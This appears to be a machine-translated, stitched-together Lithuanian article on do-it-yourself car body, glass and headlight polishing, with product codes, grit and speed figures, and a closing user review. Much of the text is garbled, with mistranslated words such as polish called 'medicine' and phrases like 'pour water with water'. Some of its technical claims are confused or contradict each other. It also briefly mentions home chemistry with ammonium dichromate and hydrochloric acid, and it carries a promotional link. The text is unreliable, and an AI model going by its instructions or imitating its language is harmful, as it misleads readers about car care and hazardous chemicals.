Kokiu audiniu poliruoti automobilį. Yra apie „pasidaryk pats“ automobilių poliravimą

Kam poliruoti savo automobilį? Vaško sluoksnis bet kurį, net ir ne per brangų, automobilį padaro reprezentatyvesnį ir patrauklesnį. Permatoma plėvelė apsaugo geležinis arklys nuo nešvarumų ir įbrėžimų, užkertant kelią korozijai ir prailginant tarnavimo laiką transporto priemonė. Bet automobilio poliravimas autoservise - brangus malonumas, Štai kodėl patyrusių vairuotojų mieliau rūpinasi automobiliu namuose.

Paruošimas

Procedūra atliekama garaže. Jeigu nėra galimybės automobilio paslėpti patalpose, tuomet rinkitės dieną, kai nelyja ir stiprus vėjas kitu atveju dulkės susimaišys su laku, palikdamos smulkius įbrėžimus ant paviršiaus.

Automobilis pastatytas pavėsyje. Kūnui karšta dėl saulės, ir dažai ir lakai perkaista, blogai priglunda ir išskiria toksines medžiagas. Automobilis nepoliruojamas vėlyvą rudenį ir žiemą, kai temperatūra nukrenta žemiau +6 laipsnių.

Prieš procedūrą rekomenduojama apsilankyti plovykloje arba savarankiškai išvalyti transporto priemonę nuo nešvarumų, dervos gabalėlių ir dulkių. Iš arti gilių įbrėžimų. nedidelė žala galite palikti, bet tada vietoj skaidraus naudokite spalvotą laką.

Nuplovę automobilį, atsargiai nuvalykite jį minkšta, švaria šluoste. Patalpoje, kurioje vyks poliravimas, organizuojamas generalinis valymas. Grindų šlavimas, lentynų valymas ir visų šiukšlių išvežimas. Kai automobilis yra sausas ir garažas yra visiškai švarus, pereikite prie antrojo etapo.

Medžiagos ir įrankiai

Kokį laką pasirinkti namų naudojimui? Vaškinės veislės užmaskuoja drožles ir užpildo įtrūkimus, tačiau pritraukia nešvarumus. Transporto priemonė, padengta augaliniu ar gyvūniniu produktu, praras blizgesį po 1–3 plovimų.

Sintetiniai variantai yra atsparesni, atstumia nešvarumus ir vandens lašelius. Silikoninis lakas išsilaikys 2-3 mėnesius. Namuose naudokite priemones apsauginis tipas kuriame nėra abrazyvinių dalelių.

Uždenkite korpusą ir skystą stiklą. Priemonė kainuos daugiau nei vaško lakas, tačiau tokios kompozicijos naudojimo poveikis yra ilgesnis. Skystas stiklas neužmaskuoja įbrėžimų, o tik sukuria apsauginę plėvelę ir gražiai šviečia saulėje.

Lakas tiekiamas su minkšta kempine. Tiks mikropluošto šluostės arba kūdikių sauskelnės. Renkantis skudurą kėbului poliruoti, vadovaujamasi trimis kriterijais:

• Medžiaga gerai sugeria drėgmę.
• Ant servetėlės ​​ar rankšluosčio nėra nešvarumų, dažų dėmių ar granulių.
• Audinys nėra per kietas ir be pūkelių.

Šiurkštūs skudurai palieka nedidelius įbrėžimus ant kėbulo paviršiaus, prisideda prie dažų nusilupimo ir rūdžių.

Rankinis poliravimas trunka nuo 5 iki 15 valandų. Speciali mašina pagreitins procesą. Technikoje yra minkšti diskai, pagaminti iš medvilninio audinio arba veltinio. Jie tolygiai paskirsto silikono ir vaško gaminius ant kūno paviršiaus, palengvina darbą ir sutrumpina poliravimo laiką 3–4 kartus.

Savininkai speciali įranga naudokite tirštas formules, kurios išlieka ilgiau skystas vaškas. Mašinos pagalba jie ne tik poliruoja automobilį, bet ir pašalina seną dažų sluoksnį, į kurį įsirėžė nešvarumai, pašalina smulkius ir grubius defektus, apsaugo geležinį arkliuką nuo korozijos.

Standartinė procedūra

Jei nėra specialios įrangos, teks dirbti rankomis. Plastikines ir gumines dalis, taip pat langus rekomenduojama užklijuoti lipnia juosta. Blizgus sunku nuvalyti nepažeidžiant stiklo.

Svarbu: garaže atidaromos durys ir langai, ant veido uždedamas respiratorius arba marlės tvarstis. Blizgučiai išskiria cheminius dūmus, kurie mažomis dozėmis nekenkia organizmui. Tačiau su traukiniais teks padirbėti 5-10 valandų, o jei nepaisysite saugos taisyklių, galite apsinuodyti.

Mašina poliruojama dviem etapais:

1. Ant švaraus paviršiaus užtepama vaško arba silikono priemonė. Užfiksuokite 50x50 cm sklypą, ne daugiau.
2. Palaukite 1-2 minutes, kol lakas išdžius, tada sumalkite.

Pradėkite nuo automobilio viršaus, palaipsniui mažindami. Tarp kvadratų neturėtų būti aštrių perėjimų ar neapdorotų sričių. Nespauskite audinio per daug.

Kas atsitiks, jei vaškuosite visą automobilį? Kompozicija greitai išdžius ir teks vykti į autoservisą, kad profesionalai kartu su dažais nuimtų laką, o tada užteptų naują sluoksnį. Procedūra ilga ir brangi, todėl eksperimentuoti su automobiliu nerekomenduojama.

Jei lako pateko ant stiklo ar veidrodžio, dalis iš karto nuvaloma sausa šluoste, antraip liks sunkiai pašalinamos dėmės. Reguliariai keičiamos poliravimo servetėlės, nes ant jų prilimpa dažų dalelės, kurios palieka pastebimus įbrėžimus ant korpuso.

Silikono ir vaško kompozicijos vartojamas mažomis dozėmis. Storą vaisto sluoksnį sunku tolygiai paskirstyti ant automobilio.

Mašinos atnaujinimas

Purvas įsigėrė į dažus ir nenusiplauna? Ar yra gilių įbrėžimų ant kėbulo ar durų? Mašina neseniai nudažyta, o laikas šlifuoti geležinį arkliuką? Paprastų kompozicijų neužtenka. Jums reikės preparatų su abrazyvinėmis dalelėmis, kurios pašalina viršutinį dažų sluoksnį, ir poliravimo mašina arba gręžtuvas su specialiais purkštukais.

Parduotuvėje paprašykite „numeruoto“ lako. Profesionalai naudoja preparatus Nr. 1, 2 ir 3. Patartina pirkti purkštukus, skirtus poliravimo mašina arba grąžtai. Be to, įsigykite vandeniui atsparų švitrinį popierių. Pasirinkite smulkiagrūdį variantą, pavyzdžiui, Nr. 2000.

Plastikinės automobilio dalys užklijuotos maskavimo juosta. Dėvėkite respiratorių, apsauginį kostiumą arba senus drabužius ir gumines pirštines. Atidarykite langus garaže ir pradėkite poliruoti:

1. Nuriebalinkite automobilio paviršių specialiomis servetėlėmis. Nelieskite mašinos rankomis, kitaip liks riebių pėdsakų, ant kurių produktas netinkamai priglunda.
2. Sudrėkinkite švitrinį popierių vandeniu ir nušlifuokite korpusą, stogą ir duris. Kad nesusipainiotumėte, apdorotos vietos pažymimos lipnios juostos juostelėmis. Švitrinis popierius juda iš viršaus į apačią. Nespauskite per daug, kad nepažeistumėte dažų. Periodiškai sudrėkinkite odą vandeniu.
3. Užtepkite nedidelį plotą poliravimo priemonė Nr.1 su abrazyvinėmis dalelėmis. Įtrinkite preparatą poliravimo mašina. Naudokite medžiaginius arba odinius diskus. Laikykite mašiną stačiu kampu, kad nesubraižytumėte automobilio. Poliravimo metu paviršių sudrėkinkite vandeniu.
4. Pirmasis, grubus, apdorojimas skirtas įbrėžimams užmaskuoti. Po šlifavimo automobilis nuplaunamas, tada naudojamas poliravimas Nr.2. Priemonė ištaisys rezultatą.
5. Automobilis plaunamas antrą kartą, po to užtepamas poliravimas Nr.3, be abrazyvinių dalelių arba skystas stiklas. Vaistas atstumia nešvarumus ir vandenį, yra atsakingas už automobilio blizgesį.

IN sunkiai pasiekiamose vietose ir šalia aštrūs kampai Mašiną rekomenduojama išjungti ir poliruoti rankiniu būdu. Poveikis išliks 3-4 mėnesius, tada danga nublanksta ir ją reikia atnaujinti. Rekomenduojama tepti natūralaus vaško gaminius. Jie yra minkštesni nei sintetiniai ir pigesni.

Automobilį poliruoti nėra sunku, tačiau tai užtrunka ilgai. Rezultatas priklauso nuo vairuotojo įgūdžių ir darbe naudotų medžiagų kokybės. Todėl geležinį arklį rekomenduojama kruopščiai paruošti poliravimui, netaupyti pasiruošimui ir viską daryti su meile.

Vaizdo įrašas: kaip greitai ir lengvai poliruoti automobilį

Automobilį namuose galite poliruoti dviem būdais, kurių kiekvienas atliekamas skirtingu įrankiu / improvizuotomis priemonėmis.

Kaip poliruoti automobilį abrazyviniu būdu?

Naudojant įrankį, suteikiantį galimybę reguliuoti greitį, atliekamas grubus poliravimas - dažų atstatymas, esant giliems įbrėžimams, šiurkštumui ir pan. Dažnumas - ne daugiau kaip 1 kartą per metus. Gamyklinis lakas, padengtas ant dažų, gali atlaikyti 10 grubių apdorojimų. Vėliau – žala dažymas dėl to atsiranda korozija. Galite sužinoti, kaip tinkamai poliruoti automobilį savo rankomis, žiūrėdami keletą vaizdo įrašų tinkle, tačiau tai negarantuoja tobulo rezultato. Rezultatas - geresnis poliravimas automobilio kėbulą patikėkite specialistams http://lrsauto.ru/polirovka.

Ko prireiks?

• elektrinė arba pneumatinė poliravimo mašina;
• antgalis su Velcro atitinkamo skersmens apskritimams (diskams); Paprastai tvirtinamas 14 raktu.
• dviejų tipų putplasčio diskai; Paprastai vienas skirtas abrazyvinei pastai, o kitas – blizgesiui.
• abrazyvinės pastos 3M 09375 ir 3M 09377;
• apsauginė pasta;

Pakanka nusipirkti nebrangią vaško pastą. Paprastuose žmonėse – „vėžlys“. Remiantis patirtimi ir paskelbtais praktiniais tapytojų ir kultūristų pasiekimais, geriausia medžiagaįjungta vietinė rinka yra 3M produktas. Idealiai tinka savarankiškam naudojimui, paliekant pasirinkimą tarp įrankio.

Kaip poliruoti automobilį abrazyvu?

Pirmiausia transporto priemonę reikia nuplauti ir nuriebalinti. Apdorokite vietą vandeniu. Pati pasta užtepama ant putplasčio disko (pastarajam veikia kaip drėkintuvas), ir tik po to, sukamaisiais judesiais(mašina išjungta) įtrinamas 60 × 60 cm plotas. Iš karto po to, kai pasta tolygiai paskirstoma tarp 3M 09550 Perfect-it poliravimo pagalvėlės arba paskutinio 01927 vilnonės veislės įtvarų 09552/3, reikia įjunkite mašiną ir pradėkite dirbti. Optimalus greitis sukimasis - nuo 1500 iki 2500 aps./min. Pradėti reikia nuo mažų – 200–400 aps./min., palaipsniui didinant jų skaičių.

Pastaba! Būtinai atsižvelkite į poliravimo trinkelės sukimosi greičio ir dažų srauto būsenos santykį, nes pastarasis yra veikiamas didelio karščio.

Smūgio jėga ant rankinis įrankis ir atitinkamai reikėtų paskirstyti ir automobilio kėbulo elementus. Plokšti paviršiai poliruojami vidutiniu arba lengvu slėgiu. Posūkių, aštrių kėbulo geometrijos perėjimų vietose reikėtų būti kiek darbštesniems. Pastos fizinė būsena taip pat reguliuoja poveikio intensyvumą. Kai jis džiūsta, pastangos turėtų būti saikingos. Kadangi pasta yra stambiagrūdė, yra labai didelė nedidelių apvalių įbrėžimų tikimybė, ypač ant juodų dažų. Juos galima pašalinti pakeitus minėtą abrazyvą į 3M 09376 Perfect-III ir tos pačios sistemos poliravimo padą 09378.

Tokio poliravimo pranašumai yra ne tik galimybė atkurti pirminę automobilio išvaizdą, bet ir koreguoti nesėkmingą dažymą, prieš kurį buvo atliktas kėbulo remontas – efektyvus pašalinimas Abrazyvinis metodas idealiai tinka poliravimui namuose, nes yra visiškai sukurtas pašalinti įbrėžimus ir įbrėžimus, kurie galėjo atsirasti po šlifavimo

• 3M 260L diskai (grūdulys P1200, P1500);
• 3M Perfectit Magic vandens šlifavimo popierius (P1500 ir P2000).

Kaip poliruoti automobilį apsauginiu būdu?

Jį galima įkūnyti turimomis improvizuotomis priemonėmis, pavyzdžiui, skudurais ar specialiomis servetėlėmis. Taip atsitinka, jei gamykliniai ar remonto dažai yra geros būklės – nėra įtrūkimų ir gilių įbrėžimų. Priešingu atveju minėti taps pernelyg pastebimi bendrame gaunamo blizgesio fone.

Prieš pradedant reikia sudrėkinti skudurą ar servetėlę, o tik tada tepti pasta 3M 09377. Jie pradeda dirbti su dideliais kėbulo elementais: gaubtu, stogu, bagažine ir tik tada durimis. Taigi, pavyzdžiui, gaubtą, kaip ir stogą, geriausia padalinti į 4 lygias dalis. Laiko taupymas, taip pat išskirtinai zoninis apdorojimas padės išvengti defektų atsiradimo, dėl to - mechaninio įrankio naudojimas ir atitinkamo putplasčio trinkelės 05729 įsigijimas.

Pastaba! Nepriklausomai nuo naudojamo metodo, visas galutinis rezultatas pasirodys tik po plovimo. Su smulkia pasta galite pašalinti negilių įbrėžimų nuo šakų arba nedidelės oksidacijos. Visi veiksmai apsiriboja sukamaisiais judesiais, neatsižvelgiant į geometriją kūno elementas. Apsauginio sluoksnio užtepimas praktiniu požiūriu apsaugo blizgančią dangą nuo smulkumo mechaniniai pažeidimai ir saulės nudegimas. Geliai su aerozoliniais preparatais arba silikono, skysto stiklo pridėjimu pasiteisino.

Kaip savo rankomis poliruoti automobilį po kėbulo remonto?

Jei kalbame apie zoninį atkūrimą: tiesinimas, gruntavimas, glaistymas ir dažymas pereinant prie gamyklinių dažų ir lako, tai poliravimas turi būti atliekamas su perėjimu. Reikia operuoti ne tik su tam tikros gradacijos oda (pavyzdžiui, P2 000), bet ir su specialia juosta, kuri suteikia reikiamą prispaudimo jėga vietose, kur dažai buvo užpurkšti ant trečdalio gamyklinio lako / dažų. Paprastas trintukas, bet tinkamo dydžio, gali tapti pelningu ir patogiu juostos pakaitalu. Galite nusipirkti biure. Dėl šio pakeitimo tampa įmanoma vienu metu apdirbti kelis gretimus paviršius, pavyzdžiui, ant sparnų ar arkų.

Atitiktis krypčiai bus rodoma galutiniame rezultate. Horizontalus apdirbamos plokštumos atžvilgiu laikomas optimaliu.

Svarbu žinoti! Viso darbo metu oda turi būti kruopščiai nuplaunama. Taip išvengsite pažeidimų ir įbrėžimų. Mikropluošto poliravimas yra labiausiai paplitęs. Ant jo nėra krūvos, o struktūra yra kuo vienodesnė. Skirtingai nuo servetėlių, atsižvelgiama į pakartotinio naudojimo galimybę po plovimo.

Kaip tinkamai poliruoti automobilį?

Geriausia laikytis sistemos, pavyzdžiui, to paties 3M prekės ženklo. Į bet kurį standartinė sistema apima:

• du lakai;
• diskai ir skudurai;
• laikikliai aukščiau išvardytiems.

Sistemos pranašumas slypi maksimalaus abrazyvinių dalelių derinio plokštumoje, jų vėlesnio persidengimo laipsnyje ir taip toliau, kol gaunamas blizgesys. Taigi, atsakymas į klausimą, kaip poliruoti automobilį namuose, yra paruošti rinkiniai, kurie yra gerai apgalvotas praktinių priemonių rinkinys, kuriame atsižvelgiama net į spalvą.

Vidutinis laikas, praleistas visose transporto priemonėse, yra nuo 6 iki 8 valandų, priklausomai nuo to, ar yra automobilis. Rankinis poliravimas skuduru užtruks du ar net tris kartus daugiau laiko. Pastarasis taikomas tiems automobiliams, kurie neišvažiuoja iš miesto kelių, neturi gilių dažų pažeidimai. Bet kokiu atveju tarp apsauginių procedūrų būtina atlaikyti du ar net tris mėnesius.

Kam skirtas automobilių poliravimas? Visų pirma, tai būtina, kad automobilis kuo ilgiau išlaikytų pirminę būklę. išvaizda. Be to, poliravimo sluoksnis apsaugo mašinos paviršių nuo žalingo drėgmės poveikio. Štai kodėl poliravimas yra nepaprastai svarbus bet kokiam automobiliui! Šiame straipsnyje mes jums pasakysime, kas yra poliravimas, kaip dažnai tai reikia daryti ir kaip poliruoti automobilį patiems. Automobilių poliravimas „pasidaryk pats“ padės daug sutaupyti automobilio priežiūrai, o taip pat garantuos puikų rezultatą.

automobilių poliravimas

Automobilių poliravimas gali būti naudojamas įvairiems tikslams, priklausomai nuo to, kuris yra suskirstytas į 2 tipus:

1. apsauginis automobilio kėbulo, langų ir žibintų poliravimas – tai būtina atlikti 2 kartus per metus (prieš žiemos sezonas ir prasidėjus pavasariui). Šio poliravimo tipo užduotis yra apsaugoti automobilio dažus nuo agresyvios išorinės aplinkos (sniego, lietaus, vėjo, bitumo gabalėlių, asfalto, vabzdžių ir kt. ant automobilio paviršiaus). Procedūros esmė – visas mašinos paviršius apdorojamas neabrazyvinėmis medžiagomis, kurios „susigeria“ į esamą lako ir dažų sluoksnį;
2. abrazyvinis automobilio kėbulo, langų ir žibintų poliravimas – atliekamas tik esant rimtiems automobilio dangos defektams ( gilūs įtrūkimai, įbrėžimai, kurie užkliūva perbraukus nagus, maži traškučiai ir kiti defektai). Šio tipo poliravimo užduotis yra atkurti automobilio išvaizdą. Jo esmė slypi tame, kad itin abrazyvinių medžiagų (pastų, skysčių, aerozolių, švitrinio popieriaus ir specialių šlifavimo diskų) pagalba „nuvalomas“ pažeistas paviršinis sluoksnis, o jo vietoje užtepamas naujas lako sluoksnis, kuris atkuria paviršių.

Taip pat verta paminėti, kad visos automobilių poliravimo medžiagos skiriasi išleidimo forma ir sudėtimi. Priklausomai nuo išleidimo formos, jie yra tokios formos:

• storos pastos - efektyviausios darbe,
• skysčiai - mažiau veiksmingi nei storos pastos, taip pat nepatogu dirbti su vertikaliais paviršiais,
• aerozoliai – mažiausiai efektyvus, bet tuo pačiu ir pigiausias redukuojančių medžiagų variantas, suteikiantis tik kosmetinį efektą.

Kalbant apie visos „autochemijos“ sudėtį, ji yra pagaminta iš vaško (gyvūninės arba augalinės kilmės) arba polimero pagrindu. Tuo pačiu metu pirmenybė teikiama polimeriniams gaminiams, nes jie, nors ir nėra pigūs, yra patvaresni ir kokybiškesni. Patikimiausi „autochemijos“ gamintojai yra ZM, R-M, Meguiars, SIA, Sonax, Wurth.

Automobilio kėbulo poliravimas „pasidaryk pats“.

Dabar atėjo laikas pakalbėti apie tai, kaip savo rankomis nupoliruoti automobilio kėbulą. Nedelsdami užsisakykite: šis procesas užima daug laiko, reikalauja kruopštumo ir kantrybės. Pirmiausia įsitikinkite, kad poliruojate tinkamomis sąlygomis – idealiu atveju, jei tai garažas ar bet kuri kita patalpa, kurioje saulės spinduliai nepatektų į automobilio paviršių. Rinkitės ne per karštą dieną, nes karštis greitai išgarins eterį ir tirpiklį nuo poliravimo, ko pasekoje jis greitai išdžiūsta, apsunkindamas darbą. Įsitikinkite, kad kambarys yra labai švarus – bet koks smėlio ar dulkių patekimas poliravimo proceso metu jums suvaidins žiaurų pokštą.

Visą poliravimo procesą galima sąlygiškai suskirstyti į etapus.

1 etapas - paruošiamasis. Pirmiausia automobilį reikia nuplauti ir išdžiovinti, specialiomis plovimo priemonėmis pašalinant bitumą, vabzdžių ir augalų likučius.

2 etapas - paviršiaus nuriebalinimas. Tai būtina siekiant užtikrinti geresnis sukibimas poliravimo priemonės ir lakai. Paviršių reikia nuriebalinti dalimis, naudojant specialias giluminio valymo priemones ir minkštus flanelinius skudurus.

3 etapas - tikrasis poliravimas. Jis taip pat gali būti suskirstytas į 2 etapus, atsižvelgiant į žalos sudėtingumą. Jei paviršius yra labai pažeistas, pirmiausia jį reikės apdoroti stora priemone, kurios abrazyvumas yra mažas (600 arba 1000). Jei poliruojate automobilį rankomis, purtykite tūbelę su produktu ir užtepkite medžiagą tiesiai iš buteliuko ant 50x50 cm paviršiaus, leiskite išdžiūti 2 minutes ir nuvalykite gaminį nuo paviršiaus specialiu poliravimo servetėlės ​​sukamaisiais judesiais. Speciali mašina automobilių poliravimui su 1500-4000 aps./min., tai rankinis grąžtas su šlifavimo disku, ant kurio specialūs šlifavimo paviršiai tvirtinami Velcro pagalba, gali sutaupyti laiko ir pastangų.

Baigus šlifavimą abrazyvais ateina laikas neabrazyviniams gaminiams, kurie tepami ir poliruojami panašiai kaip ir abrazyviniai, bet mažesniu greičiu (1000-1500 aps./min.). Puiku, jei baigiamasis darbų etapas yra apsauginio poliravimo priemonės užtepimas 3000-4000 aps./min greičiu. Jis pritvirtins pagrindinį laką, prailgindamas jo tarnavimo laiką.

Dabar belieka tik patikrinti darbo kokybę: užpilti vandenį vandeniu. Jei jis kaupiasi ant paviršiaus dideliais lašeliais, o ne tik teka žemyn, tada viskas gerai! Po poliravimo palikite automobilį "pailsėti" 24 valandoms, ir viskas!

Automobilių stiklų poliravimas

Antra pagal svarbą procedūra – automobilių stiklų poliravimas. Žinoma, kai langai drumsčiasi, todėl sunku matyti kelią, lengviausia nusipirkti ir įdėti naujus, bet tai brangu. Ekonomiškesnis yra automobilių stiklų poliravimas nuo įbrėžimų. Šiame poskyryje papasakosime, kaip nupoliruoti automobilį su nedideliais pažeidimais.

Pirmiausia nuplauname automobilį, ypač stiklą. Tada visus pažeidimus iš vidaus apjuosiame žymekliu, kad darbe jų nepamestų iš akių. Dabar mašiną uždarome plėvele, perpjauname ją tose vietose, su kuriomis dirbsime. Plėvelę tvirtiname maskavimo juosta, kad apsaugotume paviršius nuo purslų ir poliravimo.

Dabar pradedame tiesioginį darbą su akiniais. Pažeistos vietos nuplaunamos specialiais stiklo valikliais. Kol stiklas džiūsta, paruoškite poliravimo mišinį, praskiesdami poliravimo miltelius vandeniu. Dėl to gauname kreminę medžiagą. Mums taip pat reikia purškimo pistoleto su svarus vanduo. Ant grąžto veltinio diską tepame poliru ir įtriname stiklą. Tada prijungiame poliruoklį ir lėtai apdorojame paviršius 1500-1700 aps./min greičiu, periodiškai purškiant stiklą vandeniu iš purškimo buteliuko. Poliravimo pabaigoje nuvalykite stiklą popieriniais rankšluosčiais ir patikrinkite, ar jie nėra šviesūs.

„Pasidaryk pats“ priekinių žibintų poliravimas

„Pasidaryk pats“ žibintų poliravimas, taip pat stiklų poliravimas padės išspręsti matomumo kelyje klausimą. Jei pastebėjote, kad žibintai prasčiau apšviečia kelią, neskubėkite keisti lempų. Gal būt, paprastas poliravimas„pasidaryk pats“ priekiniai žibintai namuose išspręs problemą. Iš esmės priekinių žibintų poliravimas yra panašus į stiklo poliravimą. Atimti smulkių įbrėžimų ir įtrūkimus ant priekinių žibintų, būtina pašalinti paviršinį apsauginį plastiko sluoksnį ir šiuos defektus užpildyti specialiomis poliravimo priemonėmis. Natūralu, kad po poliravimo priekinius žibintus reikia padengti skaidriu akrilu, kuris atliks apsauginę žibintų stiklo funkciją.

Priekinių žibintų poliravimą pradedame nuo automobilio kėbulo apsaugos plėvele ir maskavimo juosta. Po to valome priekinius žibintus specialiomis priemonėmis arba acto tirpalu, tada nusausinkite juos šluoste. Jei priekinį žibintą reikia poliruoti iš vidaus, tada jį išimame iš automobilio. Visais kitais atvejais poliruojame vietoje.

Panašiai kaip ir poliruojant korpusą bei stiklą, pirmiausia paviršius apdorojame abrazyvais, kurių grūdėtumas yra 1000 arba 1500, naudojant poliravimo mašiną ir veltinio diskus.

Tada priekinius žibintus pakaitomis tepame gaminiais, kurių abrazyvumas yra 2000 ir 2500. Tai būtina norint pašalinti ankstesnio gaminio padarinius. Periodiškai apdorojimo metu užpilkite vandens ant priekinių žibintų, kad nuplautumėte plastiko ir abrazyvų daleles. Darbo rezultate gauname matinį paviršių, ant kurio tepame įvairaus abrazyvumo automobilių poliravimo pastas. Po šių lėšų priekinio žibinto paviršių padengiame poliruokliu ir šlifuojame 1200-1500 aps./min., naudodami poliravimo mašiną. Pabaigoje specialiomis aksominėmis arba mikropluošto šluostėmis patriname poliruoklių likučius ir grožimės darbo rezultatais!

Automobilių poliravimas atlieka bent dvi funkcijas – estetinę ir apsauginę. Pirmuoju atveju pašalinami kūno įbrėžimai, neišvengiami eksploatacijos metu, ir grąžinamas blizgus blizgesys. Antrajame automobilio dažai įgauna apsaugą nuo agresyvumo aplinką. Ši procedūra nėra lengva, todėl geras rezultatas Jums reikės teorinis pagrindas ir darbo algoritmas. Tik pasirinkę tinkamą automobilio poliravimą ir savo rankomis laikydamiesi poliravimo taisyklių, galite pasiekti rezultatų ir nepakenkti automobilio dažams.

Kada reikalingas automobilio kėbulo poliravimas ir kokie jo tipai

Visų pirma, turite nustatyti dažų būklę, nuo to priklauso medžiagų pasirinkimas ir poliravimo tipas. Kai kuriais pažangiais atvejais poliravimas nepadės. Jei įbrėžimai gilūs ir pasiekę grunto dažus ar metalą, tuomet pats laikas pasidomėti automobilio dažymo tema. Kai pažeidimai yra negiliai arba yra kėbulo dangos drumstumas (po lengvos avarijos išblukimas, nutrynimas, dažų ar plastiko likučiai), galime drąsiai rekomenduoti automobilį poliruoti mechaniškai.

• Mechaninis (tai taip pat yra atstatomasis) poliravimas apima viršutinio lako sluoksnio pašalinimą. Neturint tam tikrų įgūdžių, kyla pavojus nuvalyti visą apsauginį laką ar net sugadinti dažus (ypač naudojant elektrinį įrankį). Nereikėtų iš karto bėgti ieškoti šlifuoklio ir nublizginti visą automobilį. Pradėkite nuo nepastebimo mažo ploto rankomis arba elektriniu įrankiu, bet minimaliu greičiu. Tačiau prieš tai išsirinkite tinkamą poliravimą, paruoškite įrankį ir gerai išmokite veiksmų seką.
• Apsauginis poliravimas – labiau tausojant dangą. Ji nepašalina sluoksnio, o užpildo įtrūkimus ir „įbrėžimus“. 80% tokių poliravimo priemonių sudaro vaškas, o 20% - chemija. Kartu jie atstumia vandenį ir nešvarumus žiemos laikotarpis taip pat apsaugo nuo reagentų. Užtepamas greitai ir lengvai, tačiau ilgai neišsilaiko (5-7 plovimai). Yra atsparesnių veislių, bet apie jas žemiau. Mechaninis poliravimas be apsaugos greitai praranda savo savybes.

„Hologramos“ ant automobilio kėbulo po ne profesionalus poliravimas

Ko reikia, kad padarytum pats

Restauravimo poliravimui mums reikia:

• automobilių šampūnas;
• tirpiklis Nr.646 arba mineralinis molis;
• Sanderis.
  Idealus variantas yra su orbitine galvute, tačiau ir įprasta labai palengvins darbą. Galite dirbti rankiniu būdu, tačiau vykdymo laikas padidės kelis kartus, o kokybiškas rezultatas bus prastesnis, tačiau sumažinama rizika sugadinti dangą dėl nepatyrimo;
• reikiamo grūdelio dydžio abrazyvinis poliravimas;
• apdailos lakas;
• vienas kietas ir kitas minkštas Šlifavimo ratas;
• vienas minkštas zomšinis skudurėlis (geriausia pora);
• vandens purkštuvas.

Taip pat galite patys pasidaryti poliravimo pastą. Tiesa, tam reikia deginti dažus, kuriuose yra chromo, oksiduoti amonio dichromatą ir išgarinti vandenilio chlorido rūgštis namie. Todėl, jei esate chemikas, tada rasite receptą, o jei ne, tada nesijaudinkite. Rinkoje yra daug variantų kiekvienam biudžetui.

Geriausio lako pasirinkimas: nuomonės, įvertinimai ir apžvalgos

Esant dabartinei prekių įvairovei, sunku pasirinkti tinkamą variantą už tinkamą kainą. Prastos kokybės medžiagos gali paneigti visus jūsų darbus, todėl turėtumėte sutelkti dėmesį į lyderius. Poliravimo sritį valdo dvi: 3M ir Farecla.

Kiekvienas gaminio tipas turi savo poliravimo ratą.

Pirmasis yra „pagaląstas“ profesionalams. Dėl didelės pakuotės (nuo 1 kg) didėja ir pradinė kaina (nuo 1500 rublių už 1 tipo laką). "Farekla" šiuo atžvilgiu yra labiau prieinama - pakuotė nuo 250 gramų už 400 rublių kainą. Kokybe jie yra vienodi. Nupoliravimui užtenka nedidelės pakuotės mašina du kartus. Ir jei manote, kad automobilį gamykliniu laku su abrazyvine pasta rekomenduojama apdoroti ne daugiau kaip 5–7 kartus (tai profesionaliomis rankomis, mėgėjams ne daugiau kaip 3–4), tada vienas kilogramas bus akivaizdžiai perteklinis.

Farecla prekės ženklo produktų yra tikrai daug veislių.

Įvertinus kėbulo būklę, reikia apsispręsti, kokią abrazyvinę frakciją pasirinkti. Yra:

1. Didelis - 09374 iš 3M arba G3 iš Farecla. Naudokite kada didelių įbrėžimų ir ryškus kūno miglotas;
2. Mažas - 09375 arba G6. Rekomenduojamas prie šviesaus matinio ir nedidelio skaičiaus smulkių įbrėžimų, pašalina mažesnį lako sluoksnį;
3. Apdaila – 3M kodas 09376, Farekl G10. Apdailos pasta pašalina pirmųjų dviejų trūkumus ir suteikia dažams blizgų blizgesį.

Dabar gamintojas „ZM“ išleido patobulintą versiją su žaliu dangteliu ir kodu – 50417. Šis lakas yra pozicionuojamas kaip universalus lakas ir pakeičia pirmuosius du taškus.

Atkreipkite dėmesį: Koch ir Menzerna taip pat yra populiarūs profesionalų sluoksniuose. Parduodant jie yra brangesni ir sunkiau randami, tačiau kokybė yra aukšta.

Menzerna yra vokiečių profesionalus poliruoklis, kurio verta geriausi atsiliepimai vartotojų kelerius metus

Be apsaugos blizgesys džiugins neilgai, tad pereikime prie kito lako tipo pasirinkimo.

Apsauginis sluoksnis: kaip išsirinkti geras medžiagas

Yra dar daugiau veislių, o kainų skirtumas nemažas. Suskirstykime juos pagal sudėtį:

• vaškas – labiausiai paplitęs, lengvai naudojamas ir pigus apsauginių lakų tipas. Beveik kiekvienoje automobilių plovykloje yra vaškavimo paslauga;
• sintetiniai, kurie dar skirstomi į tris tipus:
  • atstatomasis - silpnas abrazyvinių lakų pakaitalas;
  • silikonas - greitai užtepamas purškikliu, bet greitai nuplaunamas (alternatyva vaškui);
  • polimerinė – pilna sintetika, kurią reikia tepti atsargiai ir ilgai, tačiau apsauginės savybės išlieka iki šešių mėnesių (didelis minusas – kaina);
• poliravimo priemonės su nanodalelėmis (populiariai "skystas stiklas") - progresyvi išvaizda medžiaga suteikia apsaugą 6-8 mėn. Gali būti įvairių formų, įskaitant aerozolio tipą. Sunkus procesas aplikaciją, bet kaip atlygį gausite gražų automobilio blizgesį (ypač juodą).

Populiariausios įmonės ir jų produktų apžvalgos

Žemiau esančioje lentelėje pateikiami populiariausi apsauginių lakų gamybos prekių ženklai.

Hi-Gear "Restauratorius". Problema ta, kad kėbulo spalva per daugelį naudojimo metų labai išdegė ir įgavo įvairios dėmės. Pradėjau nuo gaubto. Uodų ir musių pėdsakai buvo pašalinti gana lengvai, beveik be jokių pastangų. Su baltais dėmėmis nuo paskutinio lakavimo teko šiek tiek paprakaituoti, bet rezultatas nudžiugino, jų neliko 100%. Apdorotos zonos spalva radikaliai skyrėsi sodrumu ir blizgesiu nuo neapdorotų sričių. Palaipsniui pravažiavo visą automobilį, iš viso praleido dvi valandas. Dėl to aliejus ir bituminės dėmės visiškai nuimtas nuo kėbulo, automobilio spalva pasirodė kaip naujo. Degalų dėmės šalia dujų bako buvo pašalintos beveik visiškai. Užteptas lakas "Restorer" buvo puikiai nuplautas rankomis, spalva išliko ta pati visą vasarą. Rekomenduoju visiems senų automobilių savininkams ir paruošimas prieš pardavimą, Jūs negalite dažyti automobilio su nedideliais dažų defektais.

review_2154088.html

